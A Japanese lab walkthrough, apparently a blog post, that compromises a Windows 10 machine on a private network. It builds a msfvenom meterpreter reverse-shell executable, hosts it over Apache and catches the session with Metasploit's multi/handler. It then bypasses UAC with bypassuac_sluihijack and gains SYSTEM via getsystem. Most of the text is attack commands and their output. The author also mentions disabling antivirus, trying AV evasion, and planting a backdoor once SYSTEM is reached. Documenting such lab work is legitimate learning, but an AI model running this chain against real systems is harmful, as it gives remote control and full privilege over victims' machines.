- リバースシェルのペイロードの用意
- ペイロードを外部からアクセス出来るディレクトリに移動する
- ペイロードファイルの存在確認
- ペイロードファイルのダウンロード
- リバースシェルを待ち受ける
- meterpreterプロンプトを表示させる
- 権限昇格を試みる(失敗)
- まとめ
リバースシェルのペイロードの用意
Kali Linux側でmsfvenom
コマンドを実行して、リバースシェル(Reverse Shell)のペイロードを作成します。
┌──(root㉿kali)-[/home/kali] └─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.28.5 -f exe -o /home/kali/Desktop/getsystem.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 510 bytes Final size of exe file: 7168 bytes Saved as: /home/kali/Desktop/getsystem.exe
msfvenomコマンドを実行したことにより、 Kali Linuxのデスクトップ上にgetsystem.exeが作成されます。
ペイロードを外部からアクセス出来るディレクトリに移動する
ペイロードを外部からアクセス出来るディレクトリに移動します。 Apacheのデフォルトのドキュメントルートは/var/www/html/以下になるので、その下にファイルを移動させます。
┌──(root㉿kali)-[/home/kali]
└─# cp /home/kali/Desktop/getsystem.exe /var/www/html/share
┌──(root㉿kali)-[/home/kali/Desktop]
└─# service apache2 restart
ペイロードファイルの存在確認
標的端末のWindows10よりブラウザを開いて下記にアクセスします。
http://192.168.28.5/share
ペイロードファイルのダウンロード
先程作成したgetsystem.exeが確認出来たらダウンロードを実行します。 この際、リアルタイム保護を無効化しておかないと、ウィルス検知に引っかかりダウンロードに失敗します。 (ウィルス検知を回避する方法が現在色々と試しています)
リバースシェルを待ち受ける
Metasploitを起動する
msfconsoleコマンドでMetasploitを起動します。
┌──(root㉿kali)-[/home/kali] └─# msfconsole
exploitを選択してpayloadをセットする
使用するexploitを設定します。
今回はexploit/multi/handler
というexploitを設定します。
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit -j -z
によりリバースシェルを待ち受ける状態になります。このあと標的が実行ファイルをクリックしたらセッションが確立されることになります。
msf6 exploit(multi/handler) > set LHOST 192.168.28.5 LHOST => 192.168.28.5 msf6 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.28.5:4444 msf6 exploit(multi/handler) > [*] Sending stage (200774 bytes) to 192.168.28.8 [*] Meterpreter session 1 opened (192.168.28.5:4444 -> 192.168.28.8:50339) at 2023-08-12 21:46:35 +0900
確立されたセッションの確認
msf6 exploit(multi/handler) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows DESKTOP-SASS8UL\yusuk @ DESKTOP-SASS8UL 192.168.28.5:4444 -> 192.168.28.8:50339 (192.168.28.8)
meterpreterプロンプトを表示させる
sessions -i 1
と入力することによりmeterpreter
プロンプトに移ります。
msf6 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1...
権限昇格を試みる(失敗)
meterpreter > getuid Server username: DESKTOP-SASS8UL\user-name meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: 1346 The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin) [-] Named Pipe Impersonation (Dropper/Admin) [-] Token Duplication (In Memory/Admin) [-] Named Pipe Impersonation (RPCSS variant) [-] Named Pipe Impersonation (PrintSpooler variant) [-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)
getsystemコマンドで権限昇格を試みましたが失敗しました。
UAC機能を回避するモジュールを探します。
※UAC機能とは以下の通りマルウェアによるユーザーの意図しない操作、または許可するつもりのない操作を不用意に実行しようとするプログラムの起動を防ぐWindowsのセキュリティ機能のようです。
ユーザーアカウント制御(UAC: User Account Control) 説明: Windowsのセキュリティ機能の1つ。「UAC(user account control)」ともいう。 管理者権限の必要な処理を実行しようとした際に、許可を求めるメッセージや、管理者パスワードの入力を求める画面を表示し、実行を許可するか確認する機能。 マルウェアによるユーザーの意図しない操作、または許可するつもりのない操作を不用意に実行しようとするプログラムの起動を防ぐ。
参考:ユーザーアカウント制御(UAC: User Account Control) support.nec-lavie.jp
UACの権限昇格ダイアログを回避するモジュールを探す
「BypassUAC」というUAC回避のモジュールを検索したら12件ヒットしました。
この中で、比較的日付が新しく、Rankがexcellentとなっているexploit/windows/local/bypassuac_sluihijack
というモジュールを使用してみます。
meterpreter > background [*] Backgrounding session 1... msf6 exploit(multi/handler) > search bypassuac Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/local/bypassuac_windows_store_filesys 2019-08-22 manual Yes Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) 1 exploit/windows/local/bypassuac_windows_store_reg 2019-02-19 manual Yes Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry 2 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass 3 exploit/windows/local/bypassuac_injection 2010-12-31 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) 4 exploit/windows/local/bypassuac_injection_winsxs 2017-04-06 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS 5 exploit/windows/local/bypassuac_vbs 2015-08-22 excellent No Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability) 6 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent Yes Windows Escalate UAC Protection Bypass (Via COM Handler Hijack) 7 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key) 8 exploit/windows/local/bypassuac_sdclt 2017-03-17 excellent Yes Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key) 9 exploit/windows/local/bypassuac_silentcleanup 2019-02-24 excellent No Windows Escalate UAC Protection Bypass (Via SilentCleanup) 10 exploit/windows/local/bypassuac_dotnet_profiler 2017-03-17 excellent Yes Windows Escalate UAC Protection Bypass (Via dot net profiler) 11 exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Yes Windows UAC Protection Bypass (Via FodHelper Registry Key) 12 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack) Interact with a module by name or index. For example info 12, use 12 or use exploit/windows/local/bypassuac_sluihijack
モジュールの検索結果の確認
exploit/windows/local/bypassuac_sluihijack
というモジュールを使用する。
msf6 exploit(multi/handler) > use exploit exploit/windows/local/bypassuac_sluihijack [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack) Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/bypassuac_sluihijack [*] Using exploit/windows/local/bypassuac_sluihijack msf6 exploit(windows/local/bypassuac_sluihijack) > show targets Exploit targets: ================= Id Name -- ---- => 0 Windows x86 1 Windows x64
エクスプロイトを実行するための各種設定を行う
msf6 exploit(windows/local/bypassuac_sluihijack) > set TARGET 1 TARGET => 1 msf6 exploit(windows/local/bypassuac_sluihijack) > set SESSION 1 SESSION => 1 msf6 exploit(windows/local/bypassuac_sluihijack) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https msf6 exploit(windows/local/bypassuac_sluihijack) > set LHOST 192.168.28.5 LHOST => 192.168.28.5
オプションの表示
show optionsコマンドで設定状況を確認します。
msf6 exploit(windows/local/bypassuac_sluihijack) > show options Module options (exploit/windows/local/bypassuac_sluihijack): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION 1 yes The session to run this module on Payload options (windows/x64/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.28.5 yes The local listener hostname LPORT 8443 yes The local listener port LURI no The HTTP Path Exploit target: Id Name -- ---- 1 Windows x64
exploitの実行
UAC機能を回避するモジュールをセットした後で再度、exploitを実行します。
msf6 exploit(windows/local/bypassuac_sluihijack) > exploit [*] Started HTTPS reverse handler on https://192.168.28.5:8443 [*] UAC is Enabled, checking level... [+] Part of Administrators group! Continuing... [!] UAC set to DoNotPrompt - using ShellExecute "runas" method instead [*] Uploading jdYmObxyMcjJ.exe - 7168 bytes to the filesystem... [*] Executing Command! [!] https://192.168.28.5:8443 handling request from 192.168.28.8; (UUID: acfdqw0n) Without a database connected that payload UUID tracking will not work! [*] https://192.168.28.5:8443 handling request from 192.168.28.8; (UUID: acfdqw0n) Staging x64 payload (201820 bytes) ... [!] https://192.168.28.5:8443 handling request from 192.168.28.8; (UUID: acfdqw0n) Without a database connected that payload UUID tracking will not work! [*] Meterpreter session 2 opened (192.168.28.5:8443 -> 192.168.28.8:50369) at 2023-08-12 21:54:32 +0900
権限を昇格させる(成功)
再度getsystem
コマンドを実行してみました。
getuid
で確認するとSYSTEM 権限に昇格していることが確認できます。
meterpreter > get uid [-] Unknown command: get meterpreter > getuid Server username: DESKTOP-SASS8UL\user-name meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM #権限昇格に成功した meterpreter >
まとめ
この攻撃は前提として標的に実行ファイルをクリックして貰う必要があるので、 攻撃の条件が整うにはややハードルが高いように思います。 しかし条件さえ整えば、リモートからあっさり権限昇格ができてしまいました。
SYSTEM 権限した後、速やかにバックドアを仕掛ければ、この端末にはいつでもSYSTEM権限でログインできることになってしまいます。